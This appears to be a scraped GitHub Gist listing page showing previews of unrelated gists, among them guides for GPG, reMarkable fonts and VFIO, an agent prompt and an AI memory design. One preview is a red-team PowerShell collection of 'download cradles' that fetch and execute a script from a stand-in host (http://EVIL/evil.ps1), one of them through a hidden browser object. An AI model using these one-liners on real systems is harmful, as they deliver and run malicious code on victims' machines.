Skip to content

Instantly share code, notes, and snippets.

GPG Installation and Key Management Guide for macOS 🚀

This guide walks you through installing GPG on macOS, managing keys, creating a new ECC key with Curve25519, and integrating with GitHub for secure commit signing. Let’s dive in! 💡

1. Installing GPG on macOS 🛠️

Recommended Method ✅

Install GPG using Homebrew:

brew install gnupg
@HarmJ0y
HarmJ0y / DownloadCradles.ps1
Last active September 22, 2026 10:00
Download Cradles
# normal download cradle
IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1")
# PowerShell 3.0+
IEX (iwr 'http://EVIL/evil.ps1')
# hidden IE com object
$ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r
# Msxml2.XMLHTTP COM object
@codewithpassion
codewithpassion / forge-092026.md
Created September 22, 2026 05:06
Forge agent
name forge
description Expert software engineering agent for hands-on implementation. Use for building features, fixing bugs, refactoring code, running tests, and making concrete changes to codebases. Uses structured approach: analyze requirements, plan with tasks, implement solutions, validate through compilation and testing. Delegates research to sub-agents when exploring unfamiliar code. Provides immediate, actionable results with quality assurance through automated verification.
model opus
effort high

You are Forge, an expert software engineering assistant. Your knowledge spans multiple programming languages, frameworks, design patterns, and best practices.

Core Principles

LLM Wiki

A pattern for building personal knowledge bases using LLMs.

This is an idea file, it is designed to be copy pasted to your own LLM Agent (e.g. OpenAI Codex, Claude Code, OpenCode / Pi, or etc.). Its goal is to communicate the high level idea, but your agent will build out the specifics in collaboration with you.

The core idea

Most people's experience with LLMs and documents looks like RAG: you upload a collection of files, the LLM retrieves relevant chunks at query time, and generates an answer. This works, but the LLM is rediscovering knowledge from scratch on every question. There's no accumulation. Ask a subtle question that requires synthesizing five documents, and the LLM has to find and piece together the relevant fragments every time. Nothing is built up. NotebookLM, ChatGPT file uploads, and most RAG systems work this way.

@jonathanmoore
jonathanmoore / designing-at-the-speed-of-voice.md
Created September 21, 2026 22:08
Designing at the speed of voice: a compact Jev + local transcription + React build recipe

Designing at the speed of voice

A starting point for building a voice-driven UI composer with Jev, local speech transcription, and React components such as shadcn/ui. This describes the approach behind my experiment; the code below is pseudocode, not a runnable SDK example.

The loop

Local transcription (Parakeet)
  → transcript + current design + selected element
  → one Jev evaluation with multiple structured questions
@tsuru0805
tsuru0805 / AI 笔友系统——一套不会无限膨胀的长期通信记忆方案.md
Last active September 22, 2026 09:55
AI 笔友系统——一套不会无限膨胀的长期通信记忆方案

AI 笔友系统:一套不会无限膨胀的长期通信记忆方案

缘起:朋友问我,"你家 AI 跟笔友长期通信,记忆是怎么做的?全塞进记忆系统觉得不好, 全都记住又会无限增长,不记又每次都像陌生人。" 我发现我们家这套流程正好回答这个问题,整理出来分享。 它不依赖任何特定框架——只要你的 AI 能调工具、能读写文件,就能照着搭。

问题

AI 和真人笔友通过真实邮箱长期通信,会遇到三个互相打架的需求:

@chenhunghan
chenhunghan / Install CJK fonts to reMarkable Tablet.md
Last active September 22, 2026 09:54
How to install Noto Sans CJK fonts for reMarkable Tablet

reMarkable is a paper tablet by https://remarkable.com/.

The reMarkable tablet is the best e-paper in the market. However, it does not have built-in support for CJK (Chiniese, Korean and Japanese) users.

Luckily, this could be resolved by installing CJK fonts on the tablet.

  1. Go to Preference > Storage > Enable USB web interface (Beta).
  2. Connect reMarkable with your PC via a microUSB cable.
  3. SSH to the device as user "root" using the password find in Preference > About. e.g. ssh root@10.11.99.1
  4. Download "NotoSansCJK[you language]-Regular.otf" from *note, there is limited space on the device, so do not sue "Super OpenType/CFF Collection (Super OTC)", an language-specific OTC is ok.
@CRTified
CRTified / README.md
Last active September 22, 2026 09:53
VFIO Passthrough on NixOS

VFIO Setup on NixOS

Disclaimer: Nobody else tested my setup so far, so this is a "works on my machine" scenario. I am not responsible for anything you break on your machine (although I'd not expect much harm).

Hardware

My system has the following hardware:

  • Board: ASRock X570 Pro4
@AKCodez
AKCodez / claude-code-statusline-guide.md
Last active September 22, 2026 09:48
Claude Code Status Line - Complete Guide: all fields, config, ready-to-use scripts

Claude Code Status Line - Complete Guide: all fields, config, ready-to-use scripts

Claude Code Status Line — Complete Guide

A persistent, customizable bar at the bottom of Claude Code that shows real-time session data.

image
@remarkablemark
remarkablemark / gb-to-mb-conversion-table.md
Last active September 22, 2026 09:48
GB to MB Conversion Table
Gigabytes (GB) Megabytes (MB) decimal Megabytes (MB) binary
1 GB 1,000 MB 1,024 MB
2 GB 2,000 MB 2,048 MB
3 GB 3,000 MB 3,072 MB
4 GB 4,000 MB 4,096 MB
5 GB 5,000 MB 5,120 MB
6 GB 6,000 MB 6,144 MB
7 GB 7,000 MB 7,168 MB
8 GB 8,000 MB 8,192 MB